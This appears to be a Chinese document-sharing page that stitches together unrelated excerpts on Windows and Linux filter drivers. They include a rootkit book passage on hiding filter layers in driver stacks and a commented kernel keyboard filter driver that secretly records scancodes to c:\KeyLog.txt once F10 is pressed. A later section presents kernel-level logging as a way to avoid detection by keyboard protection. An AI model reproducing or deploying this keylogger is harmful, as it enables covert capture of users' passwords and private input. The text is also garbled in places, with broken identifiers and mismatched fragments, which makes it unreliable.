驱动程序开发技术-过滤键盘驱动
- 格式:doc
- 大小:121.50 KB
- 文档页数:13
笫7章:过滤驱动概述这章主要讲述文件过滤驱动和网络过滤驱动。
过滤驱动主要用于在上层的软件和下层的硬件之间进行分层通信。
通过栈、分层和过滤可以把硬件和软件通过任意数量的层连接起来,这种分层方法使得我们可以在一个现有的栈中插入自己的过滤器。
在一个栈中插入我们自己的层是非常难被检测到的,但是却能对所有通过栈的通信进行完全的控制。
当这个栈是控制着一张网卡或者一个磁盘的时候这就变得非常有用了。
本章包括下面的内容。
过滤驱动的插入。
文件系统过滤驱动。
网络过滤驱动。
过滤技术的一个综合实例过滤驱动的插入在一个驱动栈中插入一个驱动能够让我们的rootkit对操作系统进行一些特殊的控制,这种技术被广泛地应用于杀毒软件、加密软件、和压缩软件中。
事实上,它还有很多用途,驱动加载器为了能以正确地顺序加载所有有滤过驱动必须去组织好它们。
注册表中HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 这个项指明了要加载的服务和驱动。
如果你在注册表中查看这个项你会发现里面有好几百个服务和驱动条目,当使用本书提供的SCMLoader来加载一个驱动时也会在这里生成一个以MyDeviceDriver开头的项。
到目前为止,SCMLoader 要加载一个on-demand (SERVICE_DEMAND_START) 类型的设备驱动需要执行"net start MyDeviceDriver" 命令才能成功加载。
为了进行文件系统过滤,rootkit必须作为一个automatic (SERVICE_AUTO_START) 类型的设备驱动被加载在"Filter" 组里。
因为on-demand loading比Autoloading 更具有指导意义,所以在讲解时继续使用SERVICE_ DEMAND_START 和“net start mydevicedriver”,但我们在本章的文件目录下提供了另一个新的SCMLoader(Wrox/Wiley )供大家下载,这个升级版的loader允许rootkit在启动的时候自动加载,应该用于最终发行版rootkkit 的插入。
[版权所有] 本文作者是楚狂人,代码来源于开源工程tdifw与DDK的例子, 有问题欢迎与我联系讨论。
mail:******************* QQ: 16191935 msn:************************----------------------------------------------------------- Windows TDI过滤驱动开发 目 录(0) TDI概要(1) 准备工作(2) TDI设备与驱动入手(3) 绑定设备(4) 简单的处理请求(5) 基础过滤框架(6) 主要过滤的请求类型(7) CREATE的过滤(8) 准备解析ip地址与端口(9) 获取生成的IP地址和端口(10) 连接终端的生成与相关信息的保存(11) TDI_ASSOCIATE_ADDRESS的过滤(12) TDI_CONNECT的过滤(13) TDI_SEND,TDI_RECEIVE,TDI_SEND_DATAGRAM,TDI_RECEIVE_DATAGRAM(14) 设置事件(15) TDI_EVENT_CONNECT类型的设置事件的过滤(16) 一个传说中的问题(17) 收尾与清理的工作(0) TDI概要 最早出现的网络驱动应该是网卡驱动,这是Windows的理所当然的需求,为了进一步分割应用程序的网络数据传输与下层协议直到下层硬件的关系,又出现了协议驱动,后来微软和硬件商联合制定了NDIS标准,作为从硬件到协议的内核驱动程序的调用接口标准,而协议驱动与应用层的API之间,则出现了TDI接口。
最近国内安全软件的开发兴起,网络驱动的开发在其中有不少的应用,如果我们学习TDI接口的话,可能有以下一些目的: 自己要开发协议驱动,向上提供TDI接口,这种可能性存在,但不广泛。
我们想自己调用TDI接口,来进行网络数据传输,意义不大。
我们对TDI进行协议层过滤,开发防火墙或类似安全监控软件,这种应用还是比较多的。
操作系统课程设计键盘驱动一、实验选题 (1)二、模块整体功能介绍及主要目标 (1)三、头文件的分析 (2)四、数据结构的分析 (2)1、数组tty_table[] (2)2、tty_struct 数据结构 (2)3、tty 等待队列数据结构 (3)4、各个数据结构间的关系图 (3)五、函数的分析 (4)1、采用中断驱动的I / O设备键盘的循环周期 (4)2、键盘中断处理程序 (5)3、ctrl和alt键的处理 (7)4、caps、scroll、num键的处理 (8)5、数字小键盘的处理 (11)6、减号键的处理 (13)7、功能键的处理 (14)8、do_self的处理 (15)9、左,右shift键的处理 (16)六、分析体会及亮点说明 (16)七、参考文献 (20)一、实验选题实验题目是:Linux0.11字符设备驱动中的键盘驱动程序源代码分析,这部分涉及到操作系统的中断、I/O应用接口、I/O子系统等相关知识,程序源代码参考Linux0.11中kernel目录下的keyboard.s文件。
二、模块整体功能介绍及主要目标该模块键盘中断处理程序 keyboard.s 主要用于读入用户键入的字符并放入read_q 缓冲队列中。
其具体实现机制是:当用户在键盘上键入了一个字符时,会引起键盘中断响应(中断请求信号IRQ1,对应中断号INT 33),此时键盘中断处理程序就会从键盘控制器读入对应的键盘扫描码,然后根据使用的键盘扫描码映射表译成相应字符,放入tty 读队列read_q 中。
然后调用中断处理程序的C函数do_tty_interrupt(),它又直接调用行规则函数copy_to_cooked()对该字符进行过滤处理,并放入tty 辅助队列secondary 中,同时把该字符放入tty 写队列write_q 中,并调用写控制台函数con_write()。
此时如果该终端的回显(echo)属性是设置的,则该字符会显示到屏幕上。
Windows文件系统的过滤器驱动程序设计过滤器驱动程序是Windows操作系统中的一种特殊类型的驱动程序,用于实现文件系统层面的数据过滤和处理。
它可以截取文件系统操作,对文件或目录的访问进行拦截和修改,以实现特定的功能或策略。
1. 过滤器驱动程序的种类:Windows操作系统支持多种类型的过滤器驱动程序,包括文件系统过滤器驱动程序、网络过滤器驱动程序和通用过滤器驱动程序等。
其中,文件系统过滤器驱动程序是最常见的类型,用于截获和处理文件系统操作。
2.过滤器驱动程序的工作原理:过滤器驱动程序通过在文件系统的驱动栈中插入自身的过滤器层,来截获文件系统的操作。
当应用程序对文件或目录进行操作时,过滤器驱动程序可以截获这些操作并进行相关处理,比如拒绝访问、修改文件内容等。
3. 过滤器驱动程序的开发工具:Windows提供了一些开发工具和框架,可以帮助开发者设计和实现过滤器驱动程序。
比如,Windows Driver Kit (WDK)中包含了一些示例代码和文档,可以帮助开发者快速入门;而Windows Filter Manager (FltMgr)提供了一个高级的API接口,用于编写和管理过滤器驱动程序。
4.过滤器驱动程序的功能:过滤器驱动程序通常用于实现一些文件系统相关的功能或策略,比如文件加密、访问控制、实时监控等。
开发者可以根据需求设计和实现不同的功能模块,并在过滤器驱动程序中进行集成和管理。
5.过滤器驱动程序的资源管理:过滤器驱动程序在运行过程中需要占用一定的系统资源,包括内存、CPU等。
开发者需要合理地管理这些资源,避免造成系统性能下降或不稳定。
总之,Windows文件系统的过滤器驱动程序设计是一个相对复杂的任务,需要开发者对Windows操作系统的内部机制有一定的了解和掌握。
通过合理的设计和实现,可以实现各种不同的功能和策略,提升系统的安全性和稳定性。
记录本机按键的键盘过滤驱动Drv.hpp:extern "C"//在以下头文件中包含的函数原形编译到库中里全都生成C风格的函数名,如果不加EXTERN C的话生的成的C++风格的函数名,不好识别{#include <ddk\ntddk.h>#include <ddk\ntddkbd.h>#include <stdio.h>#include <stdlib.h>}//typedef struct _DeviceExtension//定义设备扩展结构,驱动程序中允许有这样一个设备扩展结构,里面一般放些本驱动需要用到的变量{PDEVICE_OBJECT pThisDevice;//指向这个设备对象的指针UNICODE_STRING DeviceName;//设备名UNICODE_STRING SymboLinkName;//连接符号名PDEVICE_OBJECT KbdDevice;//指向键盘设备的指针,将来会用到PIRP pIrp;//IRP指针(IRP刚开始练习驱动的时候可以理解成类似于RING3下的窗口消息,只不过它比窗口消息更复杂(相当的复杂)USHORT KeyCode;//用来储存将来截获的键盘扫描码bool IsHook;//一个标志,如果开始截获置其为真,否则为假bool ShouldUnload;//将被卸载标志,同上KEVENT kEvent;//定义一个内核事件}DEVICE_EXTENSION,*PDEVICE_EXTENSION;//extern "C" NTSTA TUS STDCALL DriverEntry(IN PDRIVER_OBJECT,IN PUNICODE_STRING);//由于是用C++编译器编译的,所以驱动入口函数要加EXTERN C,否则编译成C++风格的函数名的话无法识别,其余函数不用加EXTERN,编译器自动识别了NTSTATUS STDCALL CreateDevice(IN PDRIVER_OBJECT);//创建一个虚拟设备,一个驱动程序一般需要有一个设备对象void STDCALL DrvUnload(IN PDRIVER_OBJECT);//卸载函数,如果驱动没有它的话无法卸载NTSTATUS STDCALL DrvDispatch(IN PDEVICE_OBJECT,IN PIRP);//刚开始可以理解成为内核消息处理函数,有点像RING3下的CALLBACK WndProc,对这个驱动来说没什么用的内核消息都发向它:) NTSTATUS STDCALL DispatchRead(IN PDEVICE_OBJECT,IN PIRP);//当驱动取得读取一个按键消息时用该函数来处理NTSTATUS STDCALL CompleteFunc(IN PDEVICE_OBJECT,IN PIRP,IN PVOID);//IRP的完成例程,当IRP被处理完之后会沿调用栈向上调用各个完成例程,一个IRP会有多个级别,一步一步处理void STDCALL CancelRoutine(IN PDEVICE_OBJECT,IN PIRP);//取消例程,有点像完成例程吧,大家研究明白了告诉我一下:)void STDCALL ThreadProc(PVOID);//在这个驱动中会创建一个内核线程,这个就是线程函数//Drv.cpp:#include "Drv.h"//@@@@@@@@@@@@@@@@@@@@@@@@@.驱动入口NTSTATUS STDCALL DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING pRegistry Path)//驱动程序入口,内核会传给驱动程序两个参数一个是内核生成的驱动对象,另一个是注册表路径{NTSTATUS Status;//内核状态变量,表明驱动在内核中运行的各种状态for(int i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)//IRP_MJ_MAXIMUM_FUNCTION是一个常量,表明内核产生的和驱动程序将接收到的各种需要处理的事件的个数{pDriverObject->MajorFunction[i]=DrvDispatch;//把所有的事件都指向DrvDispatch函数,一般的事件我们没有用到}pDriverObject->DriverUnload=DrvUnload;//必需要有DrvUnload函数驱动才能卸载pDriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;//我们只关心MajorFunction[IRP_MJ_READ],MajorFunction是一个指向函数的指针数组,它的第IRP_MJ_READ个元素所指向的函数将被用来处理键盘读事件Status=CreateDevice(pDriverObject);//Status表示CreateDevice(pDriverObject)返回的内核状态,如果成功创建设备的话NT_SUCCESS(Status)宏返回的值是真return Status;//返回状态,至此驱动入口函数结束,可见入口函数只是设置一些回调函数及创建设备的功能,当然,如果你想在入口函数中做些什么事的话,大家可以自己去试试,最容易的就是让系统蓝屏:)}//@@@@@@@@@@@@@@@@@@@@@@@@@.创建设备NTSTATUS STDCALL CreateDevice(IN PDRIVER_OBJECT pDriverObject)//设备创建函数,它的参数是系统生成的并传给入口函数的驱动对象(注意要分清驱动对象与设备对象,驱动对象是描述这个驱动程序的,而设备对象是描述所创建的设备的){DbgPrint("CreateDevice\n");//内核调试语句(可以在调试软件中显示出来)NTSTATUS Status;PDEVICE_OBJECT pDeviceObject;//指向设备对象的指针,在驱动中,指向各种对象的指针很多,这是因为内核中用到的对象很多都是系统创建的,程序并不需要创建各种对象,所以用一个自己的指针指向这个对象操作就OK了PDEVICE_EXTENSION pDeviceExtension;//指向我们自己创建的驱动扩展结构体UNICODE_STRING DeviceName;//设备名UNICODE_STRING ustrKbdDeviceName;//我们将要挂载到它的键盘设备对象PDEVICE_OBJECT pTargetDevice;//目标设备指针RtlInitUnicodeString(&DeviceName,L"\\Device\\QqDevice");//UNICODESTRING更加安全,它不光有字符串数组,还有描述它的长度等信息的变量,应该说是一个结构RtlInitUnicodeString作用是初始化一个UNICODESTRING,内核中的字符串都用UNICODESTRINGStatus=IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION),&DeviceName,FILE_DEVICE_KEYB OARD,0,TRUE,&pDeviceObject);//一个内核API,作用是创建一个内核设备对象if(!NT_SUCCESS(Status))//判断是否创建成功{DbgPrint("Create Device Error\n");return Status;}DbgPrint("CreateDevice Successfully\n");pDeviceObject->Flags|=DO_BUFFERED_IO;//我们把我们自己声明的pDeviceObject传给IoCreateDevice 函数,当函数成功运行时,这个指针就已经指向了一个由系统创建的设备对象,我们现在可以操作这个设备对象了:)pDeviceExtension=(PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;//大家向上看,在创建设备时我们把设备扩展结构的大小传给了创建函数,由此创建的设备对象中的DeviceExtension指针就会指向一个由系统分配的和设备扩展结构相同大小的一块内存区域,下面几行语句就是把一些我们要保存的变量放到这块内存区域中,这块内存区域就相当于一个设备扩展结构,不知道我说的明白不:)pDeviceExtension->pThisDevice=pDeviceObject;//把设备对象指针放进去pDeviceExtension->DeviceName=DeviceName;//把设备名放进去RtlInitUnicodeString(&ustrKbdDeviceName,L"\\Device\\KeyboardClass0");//创建一个我们要挂载到其上面的的设备的设备名,这个驱动是一个截获按键信息的驱动,所以我们挂KeyboardClass0,KeyboardClass0这个设备名是系统创建的,它由系统键盘驱动程序创建Status=IoAttachDevice(pDeviceObject,&ustrKbdDeviceName,&pTargetDevice);//这个函数把我们创建的设备对象挂载到键盘设备对象上,为什么要挂载呢?因为挂载以后,凡是有按键信息发往键盘驱动的都会先经过我们的设备对象,这样我们就可以截获它了:)if(!NT_SUCCESS(Status))//判断是否挂载成功{DbgPrint("Attach Device Error\n");}else{DbgPrint("Attach Device Successful\n");pDeviceExtension->KbdDevice=pTargetDevice;}//Create SymboLinkUNICODE_STRING SymboLink;//声明一个UNICODESTRING变量来存放连接符号RtlInitUnicodeString(&SymboLink,L"\\??\\QqSymboLink");//我们的设备就叫QqSymboLink,什么是连接符号呢?比如我们在运行中输入E:就会访问到E盘,在内核中这个磁盘分区是不叫这个"E:"这个名子的,我们只是通过这个分区的连接符号名来访问它,用RING3的程序来控制驱动也用到连接符号pDeviceExtension->SymboLinkName=SymboLink;//把连接符号的名称也放到设备扩展中去保存Status=IoCreateSymbolicLink(&SymboLink,&DeviceName);//创建连接符号if(!NT_SUCCESS(Status))//判断创建连接符号的状态是否成功{IoDeleteDevice(pDeviceObject);return Status;}DbgPrint("SymboLink Create Successfully\n");//Create EventKeInitializeEvent(&pDeviceExtension->kEvent,NotificationEvent,false);//创建一个内核事件对象,它和RING3的EVENT差不多,也是用有信号和无信号来控制程序运行,下面会用到它:)//pDeviceExtension->ShouldUnload=false;//卸载标记,什么时候我想卸载这个设备及驱动把ShouldUnload置为TRUEreturn Status;}//@@@@@@@@@@@@@@@@@@@@@@@@@.卸载驱动void STDCALL DrvUnload(IN PDRIVER_OBJECT pDriverObject)//参数是系统分配的驱动对象指针{DbgPrint("Driver Unload\n");PDEVICE_OBJECT pTempDeviceObject;//创建一个临时的设备指针pTempDeviceObject=pDriverObject->DeviceObject;//通过驱动对象寻找到设备对象并将其值赋予临时设备对象PDEVICE_EXTENSION pDeviceExtension=(PDEVICE_EXTENSION)pTempDeviceObject->DeviceExtensio n;//再找到设备扩展结构体IoDetachDevice(pDeviceExtension->KbdDevice);//将我们的设备对象和键盘设备对象取消挂载IoDeleteSymbolicLink(&pDeviceExtension->SymboLinkName);//删除连接符号IoDeleteDevice(pTempDeviceObject);//删除设备对象return;}//@@@@@@@@@@@@@@@@@@@@@@@@@.分发函数NTSTATUS STDCALL DrvDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp)//分发函数,参数是设备对象及IRP指针,RING3的消息相对简单用一个MSG结构就可以表示,内核消息非常复杂,所以IRP结构体很复杂,由IO管理器创建,有点象是RING3的消息{DbgPrint("DrvDispatch\n");PIO_STACK_LOCA TION pIoSpLoc=IoGetCurrentIrpStackLocation(pIrp);//IRP处理机制和RING3消息处理机制有些不同,RING3的MSG被发送到各个窗口,并由窗口函数定义的处理过程来处理,我个人觉得IRP是由IO管理器处理,IO管理器把IRP中各个调用栈取出来,根据这个IRP调用栈规定的驱动及处理函数来处理它,这个函数就是取出IRP的栈顶ULONG IoControlCode;//声明一个控制码,备用switch(pIoSpLoc->MajorFunction)//呵呵,这个地方有点象RING3窗口程序吧,IRP中的调用栈中的MajorFunction存放的就是一个事件,比如以下几个CASE中所定义的一样{case IRP_MJ_CREA TE:DbgPrint("IRP_MJ_CREATE\n");break;case IRP_MJ_CLOSE:DbgPrint("IRP_MJ_CLOSE\n");break;case IRP_MJ_WRITE:DbgPrint("IRP_MJ_WRITE\n");break;case IRP_MJ_DEVICE_CONTROL:DbgPrint("IRP_MJ_DEVICE_CONTROL\n");IoControlCode=pIoSpLoc->Parameters.DeviceIoControl.IoControlCode;if(IoControlCode==0x200){DbgPrint("IoControlCode 0x200\n");}break;default:break;}pIrp->IoStatus.Status=STATUS_SUCCESS;//处理完之后把IRP状态置为成功pIrp->rmation=0;//规定为0,为什么请你研究研究告诉我一下IoCompleteRequest(pIrp,IO_NO_INCREMENT);告诉IO管理器这个IRP我完全处理完了,请销毁它吧return pIrp->IoStatus.Status;//返回,这个函数主要是处理一些我不太需要的事件的}//@@@@@@@@@@@@@@@@@@@@@@@@@.读取例程NTSTATUS STDCALL DispatchRead(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp)//这个函数是处理我需要的READ事件的{DbgPrint("Dispatch Read\n");((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->pIrp=pIrp;//先把这个IRP的指针存起来if(!((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->ShouldUnload)//如果想卸载这个驱动时执行ELSE块,如果不想卸载想继续截获时执行执行IF块,ELSE块把IRP的当前调用栈直接跳过,IF块把当前调用栈复制到下一个调用栈,并设置完成函数,所谓的完成函数就是当IRP处理完之后调用的一个函数,这时我们所需要的信息会包含在IRP中,我们通过完成函数来把它取出来{IoCopyCurrentIrpStackLocationToNext(pIrp);IoSetCompletionRoutine(pIrp,CompleteFunc,pDeviceObject,true,true,true);}else{IoSkipCurrentIrpStackLocation(pIrp);}return IoCallDriver(((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->KbdDevice,pIrp);//关键,我们初步处理完这个IRP后,还要把这个IRP传送给真正的键盘设备来处理,否则按任何按键的话电脑都没有反应了,呵呵,那不是没用了吗:)}//@@@@@@@@@@@@@@@@@@@@@@@@@.完成函数NTSTATUS STDCALL CompleteFunc(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp,IN PVOID Context) //参数是设备对象,IRP指针,一个PVOID指针{DbgPrint("Complete Routine\n");NTSTATUS Status;HANDLE hThread;//线程句柄,备用PIO_STACK_LOCA TION pIrpSp;//IRP调用栈指针PKEYBOARD_INPUT_DA TA pKeyData;//DDK中定义的结构,用来存放按键数据pIrpSp=IoGetCurrentIrpStackLocation(pIrp);//取得当前调用栈if(NT_SUCCESS(pIrp->IoStatus.Status))//如果当前IRP状态为成功的话{pKeyData=(PKEYBOARD_INPUT_DA TA)pIrp->AssociatedIrp.SystemBuffer;//pIrp->AssociatedIrp.System Buffer指针指向的内存区域里存放的是PKEYBOARD_INPUT_DATA结构,获取它if(pIrp->IoStatus.Status==STA TUS_SUCCESS&&pKeyData->Flags==1)//如果IRP成功返回且PKEYBOARD_INPUT_DA TA中旗标为1{DbgPrint("%d\n",pKeyData->MakeCode);((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->KeyCode=pKeyData->MakeCode;//呵呵,当IRP处理完时按键的扫描码就在这:)DbgPrint("Event Setted\n");if(pKeyData->MakeCode==68)当扫描码为68时即按下F10时{Status=PsCreateSystemThread(&hThread,(ACCESS_MASK)0,NULL,(HANDLE)0,NULL,ThreadProc, pDeviceObject->DeviceExtension);//开启线程记录按键if(!NT_SUCCESS(Status)){DbgPrint("Thread Create Error\n");//如果创建不成功}else{ZwClose(hThread);//如果创建成功,关闭线程句柄,让它自生自灭吧}}else if(pKeyData->MakeCode==87)//当按下F11时,不记录按键{((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->IsHook=false;//不记录}else if(pKeyData->MakeCode==88)//当按下F12时{((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->IsHook=false;//取消记录按键((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->ShouldUnload=true;//置卸载驱动标志}KeSetEvent(&((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->kEvent,0,false);//使内核事件为有信号}if(pIrp->PendingReturned)//如果IRP是异步返回{IoMarkIrpPending(pIrp);//标记该IRP为异步}}return STA TUS_SUCCESS;}//@@@@@@@@@@@@@@@@@@@@@@@@@.线程函数void STDCALL ThreadProc(PVOID DevExt)//参数是(VOID*)设备扩展结构指针{HANDLE hFile;//为建立文件记录按键做准备NTSTATUS Status;PDEVICE_EXTENSION pDeviceExtension=(PDEVICE_EXTENSION)DevExt;//从参数获得设备扩展结构指针UNICODE_STRING ustrFileName;//声明文件名OBJECT_ATTRIBUTES ObjectAttributes;//创建文件所需要的结构IO_STATUS_BLOCK IoStatusBlock;//pDeviceExtension->IsHook=true;//现在开始记录RtlInitUnicodeString(&ustrFileName,L"\\??\\c:\\KeyLog.txt");//存放的文件名,注意写法和RING3下不同InitializeObjectAttributes(&ObjectAttributes,&ustrFileName,OBJ_CASE_INSENSITIVE,NULL,NUL L);//处理OBJECT_ATTRIBUTES结构DbgPrint("In Thread\n");Status=ZwCreateFile(&hFile,GENERIC_READ|GENERIC_WRITE,&ObjectAttributes,&IoStatusBlock,N ULL,FILE_ATTRIBUTE_NORMAL,0,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0);//建立文件if(!NT_SUCCESS(Status)){DbgPrint("Create File Error\n");}while(pDeviceExtension->IsHook)//线程中的循环{KeWaitForSingleObject(&pDeviceExtension->kEvent,Executive,KernelMode,false,NULL);等待事件,否则的话CPU占用率100%ZwWriteFile(hFile,NULL,NULL,NULL,&IoStatusBlock,&pDeviceExtension->KeyCode,sizeof(US HORT),NULL,NULL);//把扫描码写入文件DbgPrint("One Loop With Event In Thread\n");KeResetEvent(&pDeviceExtension->kEvent);//使用事件对象为无信号,等待下一按键将其置为有信号}ZwClose(hFile);//当不记录时关闭文件PsTerminateSystemThread(STATUS_SUCCESS);//中止线程DbgPrint("Thread Exited\n");return;}这个驱动用MINGW32编译,命令行为:编译:g++ -o "文件名.obj" -Wall -O3 -c "文件名.cpp"连接:ld "文件名.obj" --subsystem=native --image-base=0x10000 --file-alignment=0x4 --section-alignment=0x4 --entry=_Driver Entry@8 -nostartfiles --nostdlib -L "库路径" -shared -l ntoskrnl -o "文件名.sys"这个驱动是一个KERNEL MODE DRIVER,运行的话用KMD加载器加载一下就行了。
驱动键盘Logger详解首先讲述一下键盘消息的传递流程:Win32程序是基于消息驱动的程序,其中就有键盘消息。
键盘消息是由csrss.exe进程的win32!RaoInputThread线程发送给应用程序的。
在Ring3层我们可以使用SetWindowsHook(WH_KEYBOARD或者WM_MESSAGE类型的钩子)的方法获得键盘消息。
win32!RawInputThread这个线程通过一个GUID(GUID_CLASS_KEYBOARD)获得键盘设备栈中的PDO的符号链接名。
win32!RawInputThread执行到win32k!openDevice,调用zwCreateFile打开设备,然后调用zwReadFile与键盘驱动通信了。
它会创建一个IRP_MJREAD的IRP发送给键盘驱动,而键盘驱动通常使这个IRP Pending,这样它就会一直被放在那里等待,等来来自键盘的数据,即win32!RawInputThread这个线程也会一直等待,等待这个读操作的完成。
当键盘有键按下时这个IRP将会完成,win32!RawInputThread 将对得到的数据进行处理,分发给合适的进程(通常是获得焦点的进程)这时win32!RawInputThread又会立即再调用nt!ZwReadFile要求读入数据,又开始了下一个等待,周而复始。
常见的键盘保护都会关注消息钩子,因此用SetWindowsHook做键盘记录容易暴露。
我们看键盘消息在驱动的传递过程:Kdbclass.sys—>i8042prt.sys—>ACPI.sys。
用DeviceTree可以看到i8042prt.sys建立了一个unnamed的设备,attach在Kdbclass.sys建立的KeyboardClass0设备上。
从名字可以看出来Kdbclass.sys是个类驱动,表示键盘这一类,无论是ps/2键盘还是usb键盘,都走这个驱动。
在windows中,键盘驱动所创建的设备对象叫做\Device\KeyboardClass0.过滤驱动自己首先创建一个设备对象,并设置派遣函数,然后将自己挂在\Device\KeyboardClass0之上即可。
入口函数NTSTATUS DriverEntry{IN PDRIVER_OBJECT DriverObjectIN PUNICODE_STRING RegistryPath}ULONG i;DbgPrint((*Ctrl2cap.SYS:entering DriverEntry\n*));//对所有的IRP进行过滤For (i = 0;i < IRP_MJ_AXIMUM_FUNCTION;I++){//将所有的IRP派遣函数都设置为Ctrl2capDispatchFeneralDriverObject->MajorFunction[i]= Ctrl2capDispatenGeneral;}//设置IRP_MJ_RRAD的派遣喊出DriverObject->MajorFunction[IRP_MJ_READ]=Ctr12capDispatenGeneral;//Ctr12capInit负责挂载过滤驱动Renturn Ctr12capInit(DriverObject);}挂载过滤驱动挂载过滤驱动的步骤被封装在Ctrl2capInit函数里。
这里构造一个UNICODE字符串,该字符串就是键盘驱动的设备名。
然后创建一个新的设备对象,并将自己附加在键盘设备驱动之上。
一旦附加成功,所有对键盘的读写请求,都会经过这个过滤设备。
NTSTATUS Ctrl2capInit{IN PDRIVER_OBJECT DriverObject}{CCHAR ntNameBuffer[64]STRING ntNameString;UNICODE_STRING ntUnicodeString;PDEVICE_OBJECT device;NTSTATUS status;PDEVICE_EXTENSION devExt;WCHAR messageBuffer{]=L“Ctr;2cap Initialized\n”;UNICODE_STRING messageUnicodeString;//构造UNICODE字符串Spintf( ntNameBUFFER,”\\Device\\KeyboardClass()”);RtlInitAnsiString(&ntNameString,neNameBuffer);RtlAnsiStringToUnicodeString(&ntUnicodeString,&ntNameString,TRUE);//创建设备对象Status = IoCreateDevice(DriverObjcet,sizeof(DEVICE_EXTENSION),NULL,FILE_DEVICE_KEYBOARD,0,FALSE,&device);//判断是否成功创建设备对象If(!NT_SUCCESS(status)){DbgPrint((“Ctrl2cap:Keyboard hook failed to create device!\n”));RtlFreeUnicodeString(& ntUnicodeSrring);Return STA TUS_SUCCESS;}//将内存清零RtlZeroMemory(device->DeviceExtension,sizeof(DEVICE_EXTENSION));//获得设备扩展devExt=(PDEVICE_EXTENSION) device->DeviceExtension;//设置对象标志Device->Flags != DO_BUFFERED_IO;Dvice->Flags &=~DO_DEVICE_INITIALIZING;//附加过滤驱动Status = IoAttachDevice(device,&ntUnicodsStrin,&devExt->TopOfStack;//判断操作是否成功If(!NT_SUCCESS(STATUS)){DBGpRINT({“Ctrl2cap:Connect with keyboard failed!\n”));//删除设备IoDeleteDevice(device);//释放字符串RtIFreeUnicodeString( &ntUnicodeString);Return STA TUS_SUCCESS;}//释放UNICODE字符串所占用的内存RtlFreeUnicodeString(&ntUnicodeString);DbgPrint((“Ctal2cap:Successfully connected to keyboard device\n:));RtlInitUnicodeString (&messageUnicodeStringm,messageBuffer);ZwDisplayString(&messageUnicodeString);Return STA TUS_SUCCESS;}过滤键盘读操作每一次键盘操作,都会间接地向键盘驱动发送一个IPR_MJ_READ请求,因此可以监视IPR_MJ_READ来达到这个目的。
硬件外设与驱动程序开发技巧在如今的数码时代,我们离不开各种硬件外设,比如键盘、鼠标、打印机等等。
这些外设的正常运作离不开驱动程序的支持。
驱动程序的编写,尤其是硬件外设驱动程序的开发技巧,对于确保硬件设备的稳定性和可靠性至关重要。
本文将重点介绍一些硬件外设与驱动程序开发的技巧。
首先,对于硬件外设的开发,我们首先要了解所使用的硬件设备的特点和工作原理。
只有深入了解硬件设备的工作方式,我们才能编写出高效、稳定的驱动程序。
比如,对于键盘外设,我们需要了解键盘矩阵的结构和按键扫描的原理,这样才能正确地解析键盘的输入。
对于鼠标外设,我们需要了解鼠标的移动检测和单击事件的处理,这样才能准确地获取用户的操作信息。
其次,在编写驱动程序时,我们要注意良好的接口设计。
一个好的驱动程序应该提供清晰、简洁的接口,使得应用程序能够方便地调用和使用。
通过封装好的接口,应用程序可以直接使用驱动程序提供的功能,而不用关心底层的细节。
同时,我们还需要考虑到跨平台的兼容性。
不同操作系统可能对驱动程序的要求有所差异,因此需要针对不同的操作系统编写不同的驱动程序。
这样,在应用程序的迁移或者跨平台开发时,我们就能节省大量的时间和精力。
此外,另一个关键的方面是驱动程序的性能优化。
一个高效的驱动程序应该尽可能地减少对系统资源的占用,并保持系统的响应速度。
我们可以通过合理地利用缓存、调整数据结构等方式来优化驱动程序的性能。
另外,我们还可以通过使用中断和DMA(直接内存访问)等技术来减少驱动程序和硬件设备之间的数据传输延迟,提高数据传输的效率。
此外,对于外设驱动程序的开发,我们还需要考虑到安全性的问题。
一个合格的驱动程序应该能够有效地防止恶意软件的攻击和用户误操作对硬件设备的破坏。
我们可以通过编写严格的权限控制和错误处理机制来保证驱动程序的安全性。
同时,我们还要定期更新驱动程序,及时修复已知的安全漏洞和问题,以确保外设的安全运行。
最后,及时的技术支持和维护对于外设与驱动程序的开发也是非常重要的。
磁盘过滤驱动原理
磁盘过滤驱动(Disk Filter Driver)是一种在操作系统内核中
运行的驱动程序,用于对磁盘操作进行拦截、过滤和修改。
其原理可以简单概括为以下几个步骤:
1. 注册:磁盘过滤驱动在加载到系统内核之前需要先进行注册,以便于操作系统在启动时加载该驱动。
2. 拦截:磁盘过滤驱动通过拦截操作系统发出的磁盘相关的系统调用(如读取文件、写入文件等),将这些调用转发给自身处理。
3. 过滤:磁盘过滤驱动根据自身的逻辑对拦截到的磁盘操作进行过滤。
可以根据需求对文件进行加密、解密、压缩、解压缩等操作。
也可以对读取写入的数据进行修改、删除等操作。
4. 转发:磁盘过滤驱动在过滤后,可以将磁盘操作转发给下层的磁盘驱动程序,以完成实际的磁盘读写操作。
或者也可以直接向应用程序返回修改后的数据。
5. 反馈:磁盘过滤驱动可以向操作系统返回对磁盘操作的处理结果,以便操作系统进一步处理或通知相关的应用程序。
总的来说,磁盘过滤驱动通过在操作系统内核中的位置,拦截并过滤磁盘操作,以实现对磁盘数据进行修改、保护或监控的功能。
通过编写磁盘过滤驱动,可以实现诸如数据加密、文件压缩、行为监控等功能。
Windows⽂件系统过滤驱动开发教程(2)Windows⽂件系统过滤驱动开发教程2.hello world,驱动对象与设备对象这⾥所说的驱动对象是⼀种数据结构,在DDK中名为DRIVER_OBJECT。
